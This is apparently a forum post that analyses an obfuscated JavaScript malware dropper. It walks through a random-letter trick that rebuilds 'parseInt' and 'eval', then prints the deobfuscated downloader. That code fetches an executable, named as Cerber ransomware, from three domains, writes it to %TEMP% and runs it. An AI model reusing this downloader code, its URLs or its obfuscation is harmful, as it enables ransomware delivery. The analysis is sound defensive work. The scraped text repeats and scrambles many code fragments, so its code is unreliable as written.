- May 14, 2016
- 1,597
From https://malwaretips.com/threads/11-11-2016-11.65387/
Thanks to @silversurfer
90.js
12 / 54
https://www.hybrid-analysis.com/sam...c390eb8fc2fb876403bdb53ed63?environmentId=100
Why this sample ?
1-1 ) Remember :
Very often, the first visible obfuscated part is composed of
Examples :
2-1) Following the different steps :
In the script, two words are obfuscated (two JavaScript methods ).
To be able to make its job, the script will fail until it randomly writes these two right words, but taking randomly some letters from a set of 4 letters "p" , "r" , "s", "e" (each letter can be used several times)
=> 1 in 1024 chance each time it tries
Then, it can deobfuscate the "hidden" part
3) Deobfuscated string : real malware part
Thanks to @silversurfer
90.js
12 / 54
https://www.hybrid-analysis.com/sam...c390eb8fc2fb876403bdb53ed63?environmentId=100
Why this sample ?
- only for the deobfuscation method used : first time I see it
1) What It looks like :
1-1 ) Remember :
Very often, the first visible obfuscated part is composed of
- fuctions to make partial/elaborate actions
- variables : string or array of string : all obfuscated data that will be manipulated by techniques/functions, to become deobfuscated and then represent the real String to be evaluate (run) that will do the real bad job it the script.
- variables : string or array of string : all obfuscated data that will be manipulated by techniques/functions, to become deobfuscated and then represent the real String to be evaluate (run) that will do the real bad job it the script.
Examples :
fonction tavc ( val){
Entry point :
Var content : "fsfsfsdeSLLTLoopdpomù!!SLTLSdsvxvxaeFV:d:STsaazeaLTSLTs"; => Var OBFUSCATED
eval(tavc())
=> tavc() : will can the function that will return at the end the string deobfuscate
Example : eval("35+35") : 35 + 35 = 70
1-2 ) Let's look at the current script :Var resulstat = "";
return resultat;
}For (index = 0 ; index >content.length; index++){
resultat = resultant + content.substr(index,2) ^ 78
}resultat = resultant + content.substr(index,2) ^ 78
return resultat;
Entry point :
Var content : "fsfsfsdeSLLTLoopdpomù!!SLTLSdsvxvxaeFV:d:STsaazeaLTSLTs"; => Var OBFUSCATED
eval(tavc())
=> tavc() : will can the function that will return at the end the string deobfuscate
=> if the string received contains for example "25+45"
=> eval( "25+45")
=> 80
Most of scripts use similar methods to deobfuscated data, with a string containing the real instruction part. Using the eval() command with the deobfuscated string as parameter it allows to execute the content of the string.
Example : eval("35+35") : 35 + 35 = 70
function kwii()
{
function xdbd(knku)
{
function nash(szby)
{
function fnad()
{
nash(fnad());
1-3) Main difference from some other obfuscated scripts :{
var isqu=new Array("p","r","s","e");
return isqu[Math.floor(Math.random()*isqu.length)];
}return isqu[Math.floor(Math.random()*isqu.length)];
function xdbd(knku)
{
return (
}new Function("rmrw","yxmu","var zbdv=rmrw.match(/\\S{5}/g), nxxz=\"\", wznt=0; while(wznt<cbdv.length) nxxz+=String.fromCharCode("+kwii() + "a" + kwii() +kwii() +kwii() + "Int(cbdv[wznt].substr(3,2),16)^78); wznt++; } return " + kwii() + "val(nxxz);"
)(knku,0));
)(knku,0));
function nash(szby)
{
var ucln;
for(var zayv=0;zayv<1;zayv++)
return ucln;
}for(var zayv=0;zayv<1;zayv++)
{
}try
{
catch(ppnt)
{
{
ucln=xdbd(szby);
zayv++;
}zayv++;
catch(ppnt)
{
zayv--;
}
return ucln;
function fnad()
{
var rysi= "GeT28cIK3bVuL20eJV2deeA3aV8U27Hx521er920qAL6eCy429P^y2bjhB3aipe0a^d12fBhe3aOoa2fh4G08z7^3cQ8A21l^_23cUM1bOMf3cY7U22H6166H1j3b_TO"+ "3chBD22toZ62rG_6eK9M2dHbR2fFqW22ySI22HvD2cJiF2fayj2dCbs25OET67WIj35mxm3aby53cr_t37O5_35kKx38tRS2fXH^3cgOb6eUa836dJG23Ppi22sSv06h"+
"38Qdg2bkt316FIq01HwZ2c^6024te92bVnM2drtD3aPs066dmm6cm3V19Xd01dV6J2drK13cNK727tBo3esJK3aoX560Bnh1dtFN26Oy_2bR7s22S^j22E4u6cR_667O"+ "5175NiK39HlP3dZfy26dl160p5u1coTf3bQsf20VZk66ohj3ef3x2fg_D3ayDe26KWQ67eJ175r1633kqP2dSU42frQV3aQAa2dV_f26xys6eis766l0I2bVev3cVuv3"+ "c^WI21Sos3cGdV67PLT6e_DE35l9L33Sie33JEs33mvn67_hG75Qgg33p6U33WK167vcZ75";
return rysi;
}"Hc3aWlm3aQDh3eML26eSOJ73SMv6esmK20kHU2buzM39cUO6eVNv0fczN2dMNP3alVm27zRy38apr2bSvF16RLQ01s_22cpfO24CiY2bxU72dkE43awMM66YaQ6cLbX0"+ "3wth1dKDy16zMr03c9Q02t1K7cFgc60ZO716VA503Xph02b8V06k091aDNX1aMaL1epP^6cFH^67Yng75tf536piH23f9722OWr06RVf3aATa3aTWT3ebDd60vc021v5"+ "I3eJ042bXsa20PWz66Gt36c_FN09lzW0bP3q1ahzB6cOXj62Joc6en5Y3bWN^3cLEQ22hdH62ksW6egU328Xs62fwRn22Nuj3dz3P2bXcG67W^A75WJa36t7I23Ck122"+ "mOI06Wm13aYQT3auvC3eRXN60fSk3deuk2bHDy20tKd2aHAF66Jex67mO275moW27uj728qM_6eMrA66cu_36L2S23r8W22vXp06aUv3aP9e3aARx3egSX60xDK3dzP4"+ "3at7p2frBa3aK^k3bcja3dSE^6esu973cND73Crc6eHEy7cIMM7eA347e_7_67hV_6eFpg35e1_3cery2bpEw3aNch3bvi^3cPXN20Im^6eAb72dPJ12fImp22qEp22^"+ "Yb2cdK82fcDR2dKwX25JLD66Gxp36F0K23LHY22Zke06ikH3anjl3a_To3ey3460DLy1cUY62bzgQ3dA8P3eWNb21oGN20lBf3digG2bUdk0cClx21Nqa2aoD_37f8d6"+ "2LHx6eEpj28ezr2f^H922zNv3donZ2bYka67rdx75cvy33zFf2bDWq22a8z3dI0B2bL0A35MvI3cnUt2bkyY3aOp^3buPv3cz5i20FGL6eV_M2dzW82fhji22qfF22SJ"+ "l2cB0I2fTG^2dRVO25roF66l2m20aVb3boi822gQn22RWC62koP6eGeZ3abDU3cbpW3bifZ2bBOX67mCH75^4633uaY33PZy2dReb2fgNA3aigx2dKKG26x_06efXL66"+ "idS2bMdG3cwx83cS8^21NIw3cnN867p5v35PZs3cbup2bYve3abYm3bpEC3c_Tf20tac6eruq2dfP82fzCw22Xm422a_p2cWQH2fD1z2dgw425o0O66Rt220epi3bsn^"+ "22kVX22WFk62T_j6eXc^3aAe^3cizq3baRa2bVqm67BeL75ajh33pAp33ry628WG43bNYn20BsS2dBze3atUJ27cm_21Mzw20KYE6eaKs29WVQ2bYjf3aOd10aaus2fN"+ "qH3auuz2fNY166NWx2dug92fDWM22e6Z22IIo2c_aT2f^vX2dkk425imp67UcM35Ijm3aynN3csyb37poR35eCo29kXE2bMZ73aZen0aBs62fsNW3apm12fFYn08AZG3"+ "cs4521L7_23ukZ1bFgA3cZyB22x0u66nfe6cemD26eoj3aYMo3axws3en^k74b8Z61hKu61wIc39M4T21sv13cvmm22pEK2aYwH20Xm_2ba1_39Ol628WSB2fGDE3cfP"+ "Y23CVq2fCaP2dbcp37g6c60rN42cw0527qGb2ayou61w3228OoA27hqT22n3M2boxz3dmSn61_Hc28wKT27yKk22INP2bCMD60VE32bIXr36fsy2bscP6cAMl62sNy6e"+ "S_628k5B3bGOZ20mQK2ddzk3ag5a27maY21Dn920br766Cj33cu812bal63durF3b^Id22LCH3afqX62TTr6esdS2blFM3cnYf3cQFc21W_B3cU7967x7J6eFVP35RqX"+ "27vAb28OBZ6exiY66kSo6fSt52baS33cud03cfAy21rz03cJ^a67Pj335p4_3ceku2bSD^3a^zt3brYM3cyDa20f246eQ6v2dOZv2f_nB22qP_22_Fh2cdz02fslR2db"+ "vu25cR166FZ33cHd82bg^^3dJMn3bD_y22AN23atwx62dhB6eZKk28yt32fuMC22iAu3dg1u2bgGt67Kce75ew933rua2bRcP22msn3dVkF2bNnA35ZOz29yMz2bzty3"+ "aT2S0aH5V2fV9w3asUU2fN9^08m2k3cf__21_JU23bVR1bVuK3ciKZ22CEB66Kc56c_PA26OYZ3aO8C3ardZ3ewsI74SDW61jYL61iGO20qIo2bNxG39qzv28F602fUA"+ "u3cQGR23zHN2fecP2dOHf37QN039pMK21nCa3cfVF22GYZ2aVuW60oDf2cH8w27DqI2avGx61Hik28Nlg27HCo22t0e2bXXL3dFF761kBL28SIM27Ch822TJV2bwWw60"+ "nbR2bZob36igU2bkyn6cpMa62goy6eu^B28tZa3bsk920uzA2djVu3aBDm27bCB21ytq20Oh966MUj3caGj2buZi3dn5O3bYe022kc53aYjK62uLA6eeNN2bsWs3cln1"+ "3cHAG21pLY3cnpA67iCB6ehrk35zGK27aBI28B_T6eCer66snS6fspx2bqxs3cPBY3cc5n21kfD3cGAm67YBx35gLz3cVAY2byNw3aZqc3bkq_3cPKC20jt_6eXmd2dI"+ "p62fpX122P0Z22y3W2cG0b2fN^O2dvaL25c^O66joV3cg0x2bIFF3dSNY3bDEH22TPL3aoz^62Ah_6ezJp28dro2fBvW22ZGA3djjc2bt8l67FJ375EgS33xne2bzrW2"+ "2lWh3dOJR2bNA835WQV29fZa2bFNk3apIy0asrT2fMWq3aiMg2fFp_08iNG3cGXb21Ch623JTM1byfV3cEmW22HDH66cPh6cYLd26_WY3aNPE3aFzc3efsX74l8b61jt"+ "X61sSl29Kbe21UBC21qcD2azzs20qh42bI9b39ygZ3e^P_27Q2e22xtN22L3z3dwYg60BYX2cA1d27q1S2arRX61YAu28nP_27br^22OEt2bYji3delV61bfQ28k3Q27"+ "A4Q22v9e2bjPB60RqT2bEWK36Etk2bGHL6cwLo62NoU6eWRP28roF3bOPC20Z1E2dHmF3ac6f27dRW21Afh20Egy66Kan3cmJ02baXk3dMn93bZg922n0O3admF62YGh"+ "6epzD2bY_03cLGz3czui21Qlq3cBjP67eu66eaPy35CNG27PnQ28eP26eKo166M8G6fvz42bSMv3cXXV3cTBq21P9X3cV1K67AUf35fP63chbg2bhxc3atXM3buQV3cO"+ "kH20R^S6eDYZ2dUnZ2fbrn22Kxu22VDF2cg3y2fH882dDyO25OX866bk83cp0F2bwSp3dVwb3bb^^22SXD3an0G62DVV6eLTq28Eu32fPOz22HZE3dRCd2bZHb67zyb7"+ "5zBh33uhn2bB7l22LB63d_zs2bq8335mXC3ctkH2bbiE3aMTL3bm1G3cC8w20v2o6eXLt2dMKI2fhLH22ksI22sj82cwKg2fOG22dQi225g9066nmw20Gk33bMfZ22OU"+ "A22n_462iez6eftp3aOL63cPsf3bARv2bL5467qJx75eFL33Bkv33OZx67A1I75iuC33bXD33Rn767VtA75c4G33n5E33N8g67J2H75jUI33JsI2dmcB2fxBJ3aixf2d"+ "dfW26_FY6eGtP66zwK2bGML3cRiv3cd4L21Bbs3cXXi67A2S35eu83cItX2bg^83a^do3bK7u3cAYb20pXQ6ewH62dxU_2fOs122xfu22Q^c2cxix2fQuJ2dJ5B25wSW"+ "66RVz20uNi3bsaB22aMu22adT62nLT6eMtC3avP03cfct3bpbM2bG5Z67seJ75Qj933vE733AHz28kup3bMeb20XRt2dqZA3ad4y27aHa21r2b20CvB6ewBn29uRs2bY"+ "BW3aCCG1acDj2bODo23z^s3eUe008Buq27b9U22xqE2bBor1efZ02fZD33aOqG26eHm66lqm67ADS35LI13a^993cPvo37fjQ35nUl38Uve2fO0d3cbr06e^mp28Rt53"+ "dj4D6ej3X73bOg6eFNH20jjx2bG1^39NU06eh7d0fb7C2dGY93aLNw27Yut38mIV2bXjZ16PPi01izo2cihN24gO42bI902dWXH3aOPD66Lp16ceFI1dMT72dLpJ3ctl"+ "i27zQI3ejLf3azzv27W_h20jE829rkj60rze08GjK27Zy922PaW2bNIq1dU^137_dz3dmZl3aCw42b^yx23coN01U3d2cbXW24TmV2boxE2dj6W3ak5N6cJmJ67dk^75"+ "hjt38GJb2fSkQ3ceLz6eOk13aRWc23oCW3eGtY08S1r27WyT22Wb42bFiZ00gMo2fZ1023hYW2bjrq6eJf573x7o6ewGp6cdpn12CJ412Nma6cKJo6eyYp65fNN6eLuq"+ "03q3b2ftjT3azlk26AOA60sQm3cgc72fYoB20CgW2apTb21uxF23hxJ66Kmy67bVO60XWg3aUGN21o4l1dfYA3apb83cGOD27hJt20r8O29CBy66ufq7dLtS78aKn67o"+ "^E60Yyy3dkjF3bbwz2cazo3dvbh3ayja3clnI66WdV7cfmD62JPS6exo^77ORj67c4W6eCy465oYQ6eTD^6cC7b60TRX2bQZk36fU92b^3k6c_I375c6638_Ms2fw8_3"+ "cIIS6eUmL3au8z23qEs3ebK^08TK327^HP22eeH2biwD1emrX2fnJm3aak826emt6eWmK73Z_U6eLmv28Xmp3dYEv60cAO09oeV2bwYS3aYKq1dSXP3eBhu2bGty2dv5"+ "H27NBd2fdbN22GVI08n4Z21z6b22tIf2afgy2b_pT3cd4Z66mxB7cgjZ67IYg6eThp65fLd6eurl3aOo923qmv3efbH08CSL27Hts22ScS2bT8h00MOG2ffBY23I4L2b"+ "rO075aOO3cSBr2bWJM3azWw3bSoI3cbLH20LHc6eI5k3agIx23ySq3efNL08MTG27o9R22uce2bjec1e^Ts2fJz03ah6r26DdC75azY33zPW2dsYt2fqHd3aIBL2dLt3"+ "26jrU6eO^966Jir2bq_m3cVq13cEbP21uSf3clSw67Sf735Rwa3cUcn2bg9b3acBH3bUBG3coJN20pdx6eCxr28fJN2fbvp22E5c3dXU^2bxB875Ba433DB_33Q6G28n"+ "u03bB0T20ihl2dtJM3axd227CeI21XWR20^cB6ewrZ3dqPN2fK0r38M5d2bYeS1awim21^UC1aqn72bShO23jgw3efjh66yk72arty2fgea3aUFb2flHG62VGz6eKH^2"+ "dBvh2fUJG22J5r22pwT2chtZ2fEc42dZ7K25zlY67odk35Uqy3aU6S3cqIm37KxR35qYG38PB22fEzb3cYoR6evY53erHk2fQjE3aF2O26m3f6eeKL73PLv6envk29m2"+ "X2bqRw3aI3K1aS7Y2biW423Gs63ebH808KLM27PvH22oMp2bYls1emlN2fP5_3aQF526iVU66aY^67g6H75xCY27lnq28iO86enom66JD13eFj52fDCK3aJ2S26nrh67"+ "nxx35gZf38BeV2ftsR3caGC6eGQU21Gp52cL1_24PH11dcut3aKPO3ch_Q2bPCD2fTM723aqX6etVz73GUD6eLcF20K0Q2bKmK39wdm6eDTb0fhok2deLh3ai3m27w9z"+ "38mX92bdPR16qvF01Ypa2cvsU24_4p2bQsW2dBgl3ajvx66XnR6ck2v0fnut0atuS01ZK40apug0cZrk60iPD1dDT93aoBY3cOGe2bg8r2fHWz23^UA6cFvm67JIJ75o"+ "v221UYS2czff24Qvp1do063aljr3cRwG2bqwl2fFVM23hOT60yZ001izG3eCJ02bfaU20RxJ66OJt67Zfj75IgE21r9v2cwjr24Pb51dKUn3aUnd3cGGI2bvs02fdM_2"+ "3nHd60CjS1amcZ37_bi3eawH2bg^x6eKW173osH6eZS97f^_675_kX21jpp2ceFH24VDa1dpNv3a^rc3cn152bmwh2fg2023c2860Q_n19xoL3cSsR27Qyf3aLkp2bkj"+ "b66KZn2aCdP2fhRS3av2D2fRvS67tC275NWf21T6E2cNC224dtl1dH2a3ahCU3cqwi2bFEo2fQ0H23dyO60fwo1eIAg21dUi3dfCc27SUb3aqMk27PME21NOr20ded6e"+ "ekE73GIF6ewpv7evnq75SG521acA2cDcI24iqY1dF7d3aMsn3cjf_2bV8U2fA0M23pQv60luo1dclF2fi0i38Lok2bm2b1aLML21zit08lqd27qKc22_152bmda66HDD"+ "3eRCV2fLPr3afet26H1e62Ogx6eXAY7csAx67DOc75HqK21tBE2cXxc24Hoe1d_nh3asah3ccNG2bCHv2fW2y23^AN60Qc70dkW322Blv21vrH3dIed2bqhU66vHE67a"+ "Uj75Dwk3cMwq2bVUU3aq^y3beVO3cTsC20zN66eDNc2dxfo2f_QM22ci022Lya2c^9^2fO9_2dVwC25YSt66Q7q3eYJ82frex3azw326kQa62nhm6eJgO28H2K2fGB12"+ "2OvD3dC1Z2beWO67oYX75P1433SsT2bwG222YQh3dgsk2by6d6euAZ35CEZ3cGYl2bbJ73akz83bxql3c^wy20qDJ6ev3q2dZ9y2fau_22e9W22BXy2cza42fnTv2dT1"+ "I25w1L66g2E20tkT3bdiF22Qx322mbw62ek46ehGf3aly^3cZJ13bEK12bx7267_wz75IkS33cVr33bfA2dUjq2fPPN3aw3e2dwC126wjL6ewGM66eF02bWhQ3cfGc3c"+ "ntL21aJi3clc^67hb235QmV3cWWs2bzR93akUC3bmwo3cek520RCo6ec582dAkR2fPP922SrI22IPu2cM5X2frhn2d_ZA25fB066kz420IZ93bGnm22zru22WCz62avw"+ "6enzy3aknT3cCvv3bUDk2bG6C67KPD75Bzp33mKv33Fsj29abB2bx_g3aIpV0afqk2fGDw3apvi2frp^66Ltz28iPo3bOlT20eT02d_183azTj27gZW21SRd20CHZ6eo"+ "Xw66oPj2aIK82fVxm3aEne2fAvr62KZK6es9P2bKKs3cpA93ceX121d2P3cOTm67Hm36ek6Q35ED527FQN28TG66egEV66UFT6fFJv2bG3n3cnIw3cqlA21eDH3cIiQ6"+ "7S1935OQB3dDKb2fOlp38gw82bJB01akgK21Whi1adz22be6p23IFa3eGjC66A9A2asDw2fW2d3aIHi2fH9U62UT56eXZb28VCE3babg20EiG2dvNV3aiqI27kUO21Ai"+ "v20M4Y6eIYi66Av93eah32fKEm3ap9K26_nG62CON6eT1E2bgOX3cHTB3cvuQ21SB63cL8c67XV66eb7t35g5D27eNl28^vz6eUF066mmG6fvM32b^YM3ctx63cTd121"+ "PG73cC4q67O7835t6T3aRIh3cSqN37mQV35WmQ38mT42fTej3cYLe6eSAy39Xds3d_kk26U_76eqUi73M9K6eCYh20n932bWPy39Bo66ey_H0flJq2dAHE3ayhQ27shy"+
return rysi;
nash(fnad());
At the end of the obfuscated script, there are :
Questions :
- Where is the part that make the deobfuscation of the string
- Where is the eval part (that will run the deobfuscated content)
We will try to answer, beginning by the only directly called function :
- nash(fnad());
2) Let's deobfuscate it :- nash(fnad())
=> not an eval(deobfuscated_text)
=> not an eval(deobfuscated_text)
- Where is the part that make the deobfuscation of the string
- Where is the eval part (that will run the deobfuscated content)
We will try to answer, beginning by the only directly called function :
- nash(fnad());
2-1) Following the different steps :
nash(fnad());
A call to this function return an anonymous function :
anonymous function (rmrw , yxmu){
kwii() returns randomly a char between "p" "r" "s" "e"
The problem is : at each call, the anonymous function that is built and used to deobfuscated the real content, and return / run the real part (once deobfuscated), can generate errors because this anonymous function is built with some parts that call the kwii() function (randomly give a char between : "p","r","s" "e")
It is easy to understand that two JavaScript methods, parseInt() an eval() have to be created using the kwii() parts. And each char returned has to be the good one, to make the whole anonymous function work.
If the parts of the anonymous function have been created with bad values : when it reaches to one of this "unknown methods" call, it will generate an error, intercepted by the catch in the function nash(), that will then retries (until a good anonymous function is built)
2-2) To summarize / simplify :fnad() : received the obfuscated strings
=> this function do stuff that can correspond to manipulations of an obfuscated string.
Then nash() must do the deobuscation and eval part !!!
(1) function nash(szby) => szby : obfuscated_string
{
{
var ucln;
for(var zayv=0;zayv<1;zayv++)
return ucln;
}for(var zayv=0;zayv<1;zayv++)
{
}try
{
catch(ppnt)
{
{
ucln=xdbd(szby); (2)
zayv++;
}zayv++;
catch(ppnt)
{
zayv--;
=> if an error is occurred : allows to stay on the For Loop
}=> if an error is occurred : allows to stay on the For Loop
=> another attempt will be made
return ucln;
=> (2) ucln=xdbd(obfuscated_string);
=> A function is called with the whole obfusctated string as parameter
=> the deobfuscation can be done there !
=> (3) function xdbd(obfuscated_string)=> the deobfuscation can be done there !
{
return (
new Function("rmrw","yxmu","var zbdv=rmrw.match(/\\S{5}/g), nxxz=\"\", wznt=0; while(wznt<cbdv.length) nxxz+=String.fromCharCode("+kwii() + "a" + kwii() +kwii() +kwii() + "Int(cbdv[wznt].substr(3,2),16)^78); wznt++; } return " + kwii() + "val(nxxz);"
)(knku,0));
}new Function("rmrw","yxmu","var zbdv=rmrw.match(/\\S{5}/g), nxxz=\"\", wznt=0; while(wznt<cbdv.length) nxxz+=String.fromCharCode("+kwii() + "a" + kwii() +kwii() +kwii() + "Int(cbdv[wznt].substr(3,2),16)^78); wznt++; } return " + kwii() + "val(nxxz);"
)(knku,0));
A call to this function return an anonymous function :
anonymous function (rmrw , yxmu){
var cbdv=rmrw.match(/\\S{5}/g),
wznt=0;
while(wznt<cbdv.length) => LOOP
}=> return an array of string that match this pattern
=> the long obfuscated string is divided on an array of strings with 5 chars
nxxz="", => the long obfuscated string is divided on an array of strings with 5 chars
wznt=0;
while(wznt<cbdv.length) => LOOP
nxxz+=String.fromCharCode("+kwii() + "a" + kwii() +kwii() +kwii() + Int(cbdv[wznt].substr(3,2),16)^78);
wznt++;
} return " + kwii() + "val(nxxz);"wznt++;
kwii() returns randomly a char between "p" "r" "s" "e"
function kwii()
{
{
var isqu=new Array("p","r","s","e");
return isqu[Math.floor(Math.random()*isqu.length)];
}return isqu[Math.floor(Math.random()*isqu.length)];
It is easy to understand that two JavaScript methods, parseInt() an eval() have to be created using the kwii() parts. And each char returned has to be the good one, to make the whole anonymous function work.
kwii() + "a" + kwii() +kwii() +kwii() + Int(..);
=> must be parseInt(...)
return + kwii() + val(nxxz);
=> must be return eval(nxxz);
So it can take time before the script builds a completely working anonymous function, and successfully deobfuscates / runs the "hidden" part.=> must be parseInt(...)
return + kwii() + val(nxxz);
=> must be return eval(nxxz);
If the parts of the anonymous function have been created with bad values : when it reaches to one of this "unknown methods" call, it will generate an error, intercepted by the catch in the function nash(), that will then retries (until a good anonymous function is built)
- some tests (we need parseInt and eval ):
.a...int => parseInt
.val(nxxz) => eval(nxxz)
=> 4 x 4 x 4 x 4 x 4 = 4^5 = 1024 possibilities
To be able to deofuscated quickly the string : some modifications had to be made :
I decided to hard code the first important method : parseInt, and delete the eval part to obtain quickly a working anonymous function to retrieve the good deobfuscated string.
New anonymous function :
In the LOOP While :
- saesrInt & pval
- raeepInt & svap
- sarrsInt & eval
- rasseInt & sval
- parspInt & rval
- eaepeInt & sval
- pasrsInt & pval
- eaprsInt & val
- etc ...
.val(nxxz) => eval(nxxz)
=> 4 x 4 x 4 x 4 x 4 = 4^5 = 1024 possibilities
To be able to deofuscated quickly the string : some modifications had to be made :
I decided to hard code the first important method : parseInt, and delete the eval part to obtain quickly a working anonymous function to retrieve the good deobfuscated string.
New anonymous function :
anonymous function (rmrw , yxmu){
now returns the real content
Some explanation of the deobfuscation : var zbdv=rmrw.match(/\\S{5}/g),
wznt=0;
while(wznt<cbdv.length) => LOOP
nxxz+=String.fromCharCode(parseInt(cbdv[wznt].substr(3,2),16)^78);
wznt++;
} return nxxz;
}=> return an array of string that match this pattern
=> the long obfuscated string is divided on a array of strings with 5 chars
nxxz="", => the long obfuscated string is divided on a array of strings with 5 chars
wznt=0;
while(wznt<cbdv.length) => LOOP
nxxz+=String.fromCharCode(parseInt(cbdv[wznt].substr(3,2),16)^78);
wznt++;
} return nxxz;
now returns the real content
In the LOOP While :
- var zbdv=rmrw.match(/\\S{5}/g), : array of strings with 5 chars
- String.fromCharCode(parseInt(cbdv[wznt]substr(3,2),16 ^78 : only keep the two last chars, as HEX, an make a ^78 (XOR with 78)
nxxz keeps the concatenation of all intermediate results
nash(fnad());
=> now this part is no more dangerous because it will not eval the result (remember that I removed the eval method on return part of the anonymous function )
=> I was then able to retrieve the "cookie"
- String.fromCharCode(parseInt(cbdv[wznt]substr(3,2),16 ^78 : only keep the two last chars, as HEX, an make a ^78 (XOR with 78)
nxxz keeps the concatenation of all intermediate results
- "GeT28" => 28 HEX => parseInt : 40 XOR 78 = 102 =>"f"
- "cIK3b" => 3b HEX => parseInt : 59 XOR 78 = 117 => "u"
- "VuL20" => 20 HEX => parseInt : 32 XOR 78 = 110 => "n"
- "eJV2d" => 2d HEX => parseInt : 45 XOR 78 = 106 => "c"
- etc,...
nash(fnad());
=> now this part is no more dangerous because it will not eval the result (remember that I removed the eval method on return part of the anonymous function )
=> I was then able to retrieve the "cookie"
In the script, two words are obfuscated (two JavaScript methods ).
To be able to make its job, the script will fail until it randomly writes these two right words, but taking randomly some letters from a set of 4 letters "p" , "r" , "s", "e" (each letter can be used several times)
?a???Int
Inside a loop, the script "wins" if it successfully finds (randomly) all the right letters for the two words in one callsolution :
?val=> parseInt
solution :
=> eval
=> 1 in 1024 chance each time it tries
Then, it can deobfuscate the "hidden" part
3) Deobfuscated string : real malware part
Before some formatting
After some formatting :
// GET data from URL : return the ResponseBody => data
function getDataFromUrl(url, callback) {
// URLs
function getData(callback) {
return callback(null, true);
}
}
function getTempFilePath() {
function saveToTemp(data, callback) {
Entry point :
getData(function(data, error) {
Path :
4/57
- Antivirus scan for 761bd1ce9dac98f43f10bbdb24a20a5c142fda0eb7a80a626297da2dbee4fdd3 at 2016-11-13 09:34:58 UTC - VirusTotal
- https://www.hybrid-analysis.com/sam...a0eb7a80a626297da2dbee4fdd3?environmentId=100
function getDataFromUrl(url, callback){try{var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");xmlHttp.open("GET", url, false);xmlHttp.send();if (xmlHttp.status == 200) {return callback(xmlHttp.ResponseBody, false);}else{return callback(null, true);}}catch (error){return callback(null, true);}}function getData(callback){try{getDataFromUrl("http ://worldnewfarmacy.bid/files/file.exe", function(result, error) {if (!error){return callback(result, false);}else{getDataFromUrl("http ://newfarmacyworld.bid/files/file.exe", function(result, error) {if (!error){return callback(result, false);}else{getDataFromUrl("http ://goodnewpills.bid/files/file.exe", function(result, error) {if (!error){return callback(result, false);}else{return callback(null, true);}});}});}});}catch (error){return callback(null, true);}}function getTempFilePath(){try{var fs = new ActiveXObject("Scripting.FileSystemObject");var tmpFileName = "\\\\" + Math.random().toString(36).substr(2, 9) + ".exe";var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;return tmpFilePath;}catch (error){return false;}}function saveToTemp(data, callback){try{var path = getTempFilePath();if (path){var objStream = new ActiveXObject("ADODB.Stream");objStream.Open();objStream.Type = 1;objStream.Write(data);objStream.Position = 0;objStream.SaveToFile(path, 2);objStream.Close();return callback(path, false);}else {return callback(null, true);}}catch (error){return callback(null, true);}}getData(function (data, error) {if (!error){saveToTemp(data, function (path, error) {if (!error){try{var wsh = new ActiveXObject("WScript.Shell");wsh.Run(path);}catch (error) {}}});}});
After some formatting :
// GET data from URL : return the ResponseBody => data
function getDataFromUrl(url, callback) {
try {
var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
xmlHttp.open("GET", url, false);
xmlHttp.send();
=> send the request
if (xmlHttp.status == 200) { => 200 if all ok
} catch (error) {
}var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
xmlHttp.open("GET", url, false);
xmlHttp.send();
=> send the request
if (xmlHttp.status == 200) { => 200 if all ok
return callback(xmlHttp.ResponseBody, false);
else {return callback(null, true);
}} catch (error) {
return callback(null, true);
}// URLs
function getData(callback) {
try {
} catch (error) {getDataFromUrl("http ://worldnewfarmacy.bid/files/file.exe", function(result, error) {
if (!error) {
});if (!error) {
return callback(result, false);
} else { getDataFromUrl("http ://newfarmacyworld.bid/files/file.exe", function(result, error) {
}if (!error) {
});return callback(result, false);
} else {getDataFromUrl("http ://goodnewpills.bid/files/file.exe", function(result, error) {
}if (!error) {
});return callback(result, false);
} else {return callback(null, true);
}return callback(null, true);
}
}
function getTempFilePath() {
try {
var fs = new ActiveXObject("Scripting.FileSystemObject");
var tmpFileName = "\\\\" + Math.random().toString(36).substr(2, 9) + ".exe";
} catch (error) {
}var fs = new ActiveXObject("Scripting.FileSystemObject");
var tmpFileName = "\\\\" + Math.random().toString(36).substr(2, 9) + ".exe";
=> creates a 'random name' => keep 9 chars + ".exe"
var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;
=> example : %TEMP%\\\\wx9xsnc87.exe
return tmpFilePath;
} catch (error) {
return false;
}function saveToTemp(data, callback) {
try {
}var path = getTempFilePath();
if (path) {
} catch (error) {if (path) {
var objStream = new ActiveXObject("ADODB.Stream");
objStream.Type = 1;
objStream.Write(data);
objStream.SaveToFile(path, 2);
return callback(path, false);
} else {=> creates a Stream to receive the data
objStream.Open();
objStream.Type = 1;
objStream.Write(data);
=> write to the Stream the data (ResponseBody from http request)
objStream.Position = 0;
objStream.SaveToFile(path, 2);
=> saves the Stream to a File using path
=> example : c:\Users\DardiM\AppData\Local\Temp\wx9xsnc87.exe
objStream.Close();=> example : c:\Users\DardiM\AppData\Local\Temp\wx9xsnc87.exe
return callback(path, false);
return callback(null, true);
}return callback(null, true);
}Entry point :
getData(function(data, error) {
if (!error) {
});saveToTemp(data, function(path, error) {
}if (!error) {
});try {
}var wsh = new ActiveXObject("WScript.Shell");
=> creates a Shell object
wsh.Run(path);=> runs the payload
} catch (error) {}
Path :
GetData => getDataFromUrl : xmlHttp ("MSXML2.XMLHTTP")
=> wsh.Run(path);
PAYLOAD : CERBER- http ://worldnewfarmacy.bid/files/file.exe
- http ://newfarmacyworld.bid/files/file.exe
- http ://goodnewpills.bid/files/file.exe
=> saveToTemp : objStream ("ADODB.Stream")- http ://newfarmacyworld.bid/files/file.exe
- http ://goodnewpills.bid/files/file.exe
=> getTempFilePath();
=> wsh = new ActiveXObject("WScript.Shell");- fs = new ActiveXObject("Scripting.FileSystemObject");
C:\Users\DardiM\AppData\Local\Temp\wx9xsnc87.exe"
=> %TEMP%\wx9xsnc87.exe => Random : 9 charsC:\Users\DardiM\AppData\Local\Temp\wx9xsnc87.exe"
=> wsh.Run(path);
4/57
- Antivirus scan for 761bd1ce9dac98f43f10bbdb24a20a5c142fda0eb7a80a626297da2dbee4fdd3 at 2016-11-13 09:34:58 UTC - VirusTotal
- https://www.hybrid-analysis.com/sam...a0eb7a80a626297da2dbee4fdd3?environmentId=100
Last edited: